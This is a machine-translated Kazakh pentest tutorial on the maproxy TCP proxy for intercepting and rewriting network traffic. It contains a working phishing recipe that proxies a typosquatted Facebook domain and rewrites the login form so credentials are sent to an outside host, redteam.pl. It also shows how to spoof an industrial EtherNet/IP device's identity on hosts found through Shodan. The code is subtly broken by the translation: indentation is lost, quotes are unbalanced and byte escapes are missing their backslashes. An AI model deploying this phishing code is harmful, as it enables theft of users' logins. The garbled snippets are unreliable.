Желілік деректерді жылдам өңдеу

Мақаланың аудармасы курстың басталу қарсаңында дайындалды «Пентест. ену сынағы тәжірибесі».

Желілік деректерді жылдам өңдеу

Аннотация

Қауіпсіздікті бағалаудың алуан түрлері, тұрақты ену сынағы мен Red Team операцияларынан бастап IoT/ICS құрылғыларын және SCADA-ны бұзуға дейін, екілік желілік протоколдармен жұмыс істеуді, яғни клиент пен мақсат арасындағы желі деректерін ұстауды және өзгертуді қамтиды. Желілік трафикті иіскеу қиын міндет емес, өйткені бізде Wireshark, Tcpdump немесе Scapy сияқты құралдар бар, бірақ модификация көп еңбекті қажет ететін тапсырма болып көрінеді, өйткені бізге желі деректерін оқу, сүзу, өзгерту үшін интерфейстің қандай да бір түрі қажет болады. оны жылдам орындаңыз және оны нақты уақытта дерлік мақсатты хостқа жіберіңіз. Бұған қоса, мұндай құрал бірнеше параллель қосылымдармен автоматты түрде жұмыс істеп, сценарийлер арқылы теңшелетін болса, тамаша болар еді.

Бір күні мен атты құрал таптым maproxy, құжаттама маған мұны тез түсіндірді maproxy - маған керек нәрсе. Бұл өте қарапайым, әмбебап және оңай конфигурацияланатын TCP проксиі. Мен бұл құралды бірнеше күрделі қолданбаларда, соның ішінде ICS құрылғыларында (көп пакеттерді генерациялайтын) оның көптеген параллель қосылымдарды өңдей алатынын және құрал жақсы жұмыс істейтінін білу үшін сынап көрдім.

Бұл мақала сізді желілік деректерді жылдам өңдеуді қолдана отырып таныстырады maproxy.

қайта қарау

Құрал maproxy Python тіліндегі танымал және жетілген асинхронды желілік құрылым Tornado негізінде жасалған.

Жалпы, ол бірнеше режимде жұмыс істей алады:

  • TCP:TCP – шифрланбаған TCP қосылымдары;
  • TCP:SSL и SSL:TCP – бір жақты шифрлаумен;
  • SSL:SSL – екі жақты шифрлау.

Ол кітапхана ретінде келеді. Жылдам бастау үшін негізгіні көрсететін мысал файлдарын пайдалануға болады кітапхана функциялары:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

1-жағдай – қарапайым екі бағытты прокси

Негізінде tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Әдепкі бойынша ProxyServer() екі аргумент қабылдайды – қосылым орны және мақсатты порт. server.listen() бір аргумент қабылдайды – кіріс қосылымды тыңдауға арналған порт.

Сценарийді орындау:

# python tcp2tcp.py

Сынақты орындау үшін біз тыңдайтын прокси сценарий арқылы жергілікті SSH серверіне қосыламыз. 2222/tcp порты және стандартты портқа қосылады 22/tcp SSH серверлері:

Желілік деректерді жылдам өңдеу

Сәлемдесу баннері біздің мысал сценарийіміз желілік трафикті сәтті проксиденгенін хабарлайды.

2-жағдай – деректерді өзгерту

Тағы бір демо сценарий logging_proxy.py желі деректерімен әрекеттесу үшін өте қолайлы. Файлдағы түсініктемелер мақсатыңызға жету үшін өзгертуге болатын сынып әдістерін сипаттайды:

Желілік деректерді жылдам өңдеу

Ең қызығы осында:

  • on_c2p_done_read – клиенттен серверге дейінгі жолда деректерді ұстап алу;
  • on_p2s_done_read - кері.

Сервер клиентке қайтаратын SSH баннерін өзгертіп көрейік:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Сценарийді орындаңыз:

Желілік деректерді жылдам өңдеу

Көріп отырғаныңыздай, клиент адастырылды, себебі оған арналған SSH сервер атауы өзгертілді «DumnySSH».

Желілік деректерді жылдам өңдеу

3-жағдай – қарапайым фишингтік веб-бет

Бұл құралды пайдаланудың шексіз жолдары бар. Бұл жолы Red Team операциялық жағынан практикалық бір нәрсеге назар аударайық. Қону парағына еліктеп көрейік m.facebook.com және әдейі қатесі бар пайдаланушы доменін пайдаланыңыз, мысалы, m.facebok.com. Көрсету мақсатында домен бізбен тіркелген деп есептейік.

Біз құрбандар проксиімен және Facebook серверіне SSL ағынымен шифрланбаған желі қосылымын орнатамыз (31.13.81.36). Бұл мысалдың жұмыс істеуі үшін HTTP хост тақырыбын ауыстырып, дұрыс хост атауын енгізу керек, сонымен қатар мазмұнға оңай қол жеткізу үшін жауапты қысуды өшіреміз. Сайып келгенде, біз HTML пішінін ауыстырамыз, осылайша кіру тіркелгі деректері Facebook серверлерінің орнына бізге жіберіледі:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/kk/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Нәтижесінде:

Желілік деректерді жылдам өңдеу

Көріп отырғаныңыздай, біз бастапқы сайтты сәтті ауыстыра алдық.

4-жағдай – Ethernet/IP порты

Мен бағдарламаланатын контроллерлер (PLC), енгізу/шығару модульдері, дискілер, релелер, баспалдақ бағдарламалау орталары және т.б. сияқты өнеркәсіптік құрылғылармен және бағдарламалық қамтамасыз етумен (ICS/SCADA) біраз уақыт жұмыс істеп келемін. Бұл жағдай өнеркәсіптік заттарды ұнататындарға арналған. Мұндай шешімдерді бұзу желілік протоколдармен белсенді ойнауды қамтиды. Келесі мысалда ICS/SCADA желі трафигін қалай өзгертуге болатынын көрсеткім келеді.

Мұны істеу үшін сізге мыналар қажет:

  • Желілік снайфер, мысалы, Wireshark;
  • Ethernet/IP немесе жай ғана SIP құрылғысы, оны Shodan сервисінің көмегімен таба аласыз;
  • Біздің сценарий негізінде жасалған maproxy.

Алдымен, CIP (Жалпы өнеркәсіптік хаттама) стандартты сәйкестендіру жауабының қандай болатынын қарастырайық:

Желілік деректерді жылдам өңдеу

Құрылғыны сәйкестендіру CIP сияқты басқару протоколдарын қамтитын өнеркәсіптік Ethernet протоколының жетілдірілген нұсқасы болып табылатын Ethernet/IP протоколы арқылы жүзеге асырылады. Біз скриншотта көрінетін бөлектелген ID атын өзгертеміз «Ethernet үшін NI-IndComm» прокси сценарийін пайдалану. Біз сценарийді қайта пайдалана аламыз logging_proxy.py және сол сияқты класс әдісін өзгертіңіз on_p2s_done_read, себебі біз клиентте басқа сәйкестік атауының көрінуін қалаймыз.

Код:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Негізінде, біз құрылғының сәйкестендіруін екі рет сұрадық, екінші жауап бастапқы жауап болды, ал бірінші жауап жылдам өзгертілді.

Және соңғы

Меніңше maproxy Ыңғайлы және қарапайым құрал, ол да Python тілінде жазылған, сондықтан оны пайдалану сізге де пайдалы болады деп ойлаймын. Әрине, желілік деректерді өңдеу және өзгерту үшін күрделірек құралдар бар, бірақ олар да көбірек назар аударуды қажет етеді және әдетте белгілі бір пайдалану жағдайы үшін жасалады, мысалы. Мураена, Модлишка немесе evilginx үшіншіге ұқсас жағдайлар үшін немесе канапа соңғы жағдай үшін. Қалай болғанда да, көмекпен maproxy мысал сценарийлері өте анық болғандықтан, желі деректерін ұстап алу туралы идеяларыңызды жылдам жүзеге асыруға болады.

Windows AD жүйесінде аутентификация механизмдерін тексеру

Ақпарат көзі: www.habr.com

пікір қалдыру